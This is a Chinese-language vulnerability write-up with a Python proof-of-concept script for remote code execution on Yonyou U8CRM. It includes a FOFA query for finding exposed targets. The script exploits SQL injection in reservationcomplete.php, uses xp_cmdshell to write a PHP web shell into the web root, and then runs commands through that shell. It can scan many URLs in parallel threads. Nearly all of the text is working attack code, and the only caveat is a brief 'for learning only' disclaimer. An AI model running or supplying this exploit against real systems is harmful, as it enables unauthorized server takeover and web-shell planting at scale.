用友U8CRM-reservationcomplete.php-RCE

产品主页

FOFA：app="用友U8CRM"

reservationcomplete.php的ID参数存在SQL注入，通过使用xp_cmdshell执行系统命令，执行命令无回显，采用写shell方法进行RCE
复现的时候的是通过eval写入shell后无法连接，但是可以执行命令，很奇怪

 POC

import requests
import argparse
import urllib3
import urllib.parse
import warnings
import threading
import time

#FOFA：app="用友U8CRM"

# 忽略目标计算机积极关闭的问题
requests.packages.urllib3.disable_warnings()

# 忽略SSL证书验证的问题
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0',
    'Cache-Control': 'max-age=0',
    'Sec-Ch-Ua': '"Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
}

command = "exec master..xp_cmdshell 'echo ^<?php system($_GET[55000055]);?^> > D:\\U8SOFT\\turbocrm70\\code\\www\\lkn7866d.php';"

# 对命令进行 URL 编码
encoded_command = urllib.parse.quote(command, safe='')

api = "/bgt/reservationcomplete.php?DontCheckLogin=1&ID=1112;"

paylaod2 = "/lkn7866d.php?55000055=ipconfig"

def U8CRM_Scan(url):
    url = url.rstrip("/")
    scan_url = url + api + encoded_command
    # print(scan_url)
    try:
        re = requests.get(scan_url, headers=headers, verify=False, timeout=1)

        if re.status_code == 200:
            shell_url = url + paylaod2

            re_shell = requests.get(shell_url, headers=headers, verify=False, timeout=2)
            if "Windows IP" in re_shell.text:
                # print(re_shell.status_code)
            # if re_shell.status_code == 200:
                print(re_shell.text)
                print("\033[32m[+]" + "漏洞存在，请访问" + shell_url + "\033[0m")

    except Exception as e:
        print("漏洞不存在或请求失败")


def U8CRM_Scan_File(url):
    url = url.rstrip("/")
    scan_url = url + api + encoded_command
    try:
        re = requests.get(scan_url, headers=headers, verify=False, timeout=1)
        if re.status_code == 200:
            shell_url = url + paylaod2
            re_shell = requests.get(shell_url, headers=headers, verify=False, timeout=2)
            if "Windows IP" in re_shell.text:
                result= "\033[32m[+]" + shell_url + "\033[0m"

                if result not in U8CRM_Scan_urls:
                    U8CRM_Scan_urls.add(result)
                    print(result)

    except Exception as e:
        print("\033[31m[-]" + url + "\033[0m")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="2024.08.18")
    parser.add_argument('-u', '--url'.strip(), help='eg: -u http://www.xx.com')
    parser.add_argument('-f', '--file'.strip(), help='eg: -f urls.txt')
    args = parser.parse_args()

    if (args.url):
        U8CRM_Scan(args.url)

    elif (args.file):
        with open(args.file, 'r') as f:
            U8CRM_urls = [line.strip() for line in f if line.strip()]
            U8CRM_Scan_urls = set()
        threadin = []

        for U8CMR_url in U8CRM_urls:
            thread = threading.Thread(target=U8CRM_Scan_File,args=(U8CMR_url,))
            thread.start()
            threadin.append(thread)

        for thread in threadin:
            thread.join()

    else:
        print(parser.format_help())

 声明：脚本仅供学习参考，切勿非法渗透，请遵守相关法律法规